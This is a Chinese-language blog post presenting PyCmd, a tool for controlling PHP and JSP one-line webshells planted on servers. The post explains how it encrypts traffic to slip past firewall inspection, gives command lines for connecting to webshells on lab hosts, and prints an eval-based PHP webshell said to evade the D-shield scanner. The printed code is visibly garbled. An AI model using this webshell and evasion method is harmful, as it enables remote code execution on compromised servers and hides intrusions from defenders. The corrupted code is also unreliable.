之前写了一个基于python的一句话木马客户端程序,这个程序的作用大致就是为了绕过防护设备,使敏感数据能在网络里自由穿梭。由于编程能力有限,当时以python程序作为客户端,php代码作为服务端,勉强能用,但是缺乏jsp的服务端,使之功能很局限。幸好有大神caomei相助<点击阅读原文查看链接>,帮助实现了jsp端的代码,故将两者相结合,方便使用。
当服务器允许上传任意文件,且对文件内容不进行审计检查,但由于其网络边界有防火墙会拦截审计通信的数据。这时我们能成功上传一句话木马,然而连接菜刀的时候会出现500错误,此时可以使用pycmd工具,因为其会对互相通信的内容加密处理。
我这里准备了2个靶机,分别装有php与jsp的运行环境,用来模拟真实的网站服务器。
为了方便,我已经把服务端木马程序放到了服务器网站目录下:
php网站木马地址:10.0.3.13/test/p.php
jsp网站木马地址:
192.168.10.149:8080/headgmp/upload/2017_07_13/11.jsp
查看shell的情况:
此时,运行PyCmd.py程序:
python PyCmd.py -u http://10.0.3.13/test/p.php -p test[--proxy]
或者
python PyCmd.py -u http://192.168.10.149:8080/headgmp/upload/2017_07_13/11.jsp -p test [--proxy]
程序会自动判断输入的网站类型,这里是jsp类型的网站。
运行程序可输入以下参数:
-h 查看帮助信息 -u 网站木马地址 -p 木马shell密码 –proxy 开启本地代理(方便调试)
注:当开启本地调试,需运行Fiddler程序,或者其他抓包软件。
PyCmd程序的长处在于它对往来的数据进行了加密,可以绕过防火墙对数据内容的校验。
当执行cmd命令时,通过Fiddler抓包查看数据:
查看回报信息:
用D盾扫描上传的木马服务端文件,显示为正常文件,成功躲过查杀(2016.9.18日检测结果)
这里演示php木马查杀:
<?php $string=’’; $password=’test’; if(isset(password])){ _POST[$password]; for(i<strlen(i+=2){ hex[hex[$i+1])); } @eval($string); }else{ echo “This is a Test!”; } ?>
PyCmd 下载地址<点击阅读原文查看链接>
项目地址:https://github.com/tengzhangchao/PyCmd
说明:绕过防火墙检测的方法很多,这里只是提供了一种思路,pycmd是我去年写的一款工具,最近打算完善其功能,代码已经开源。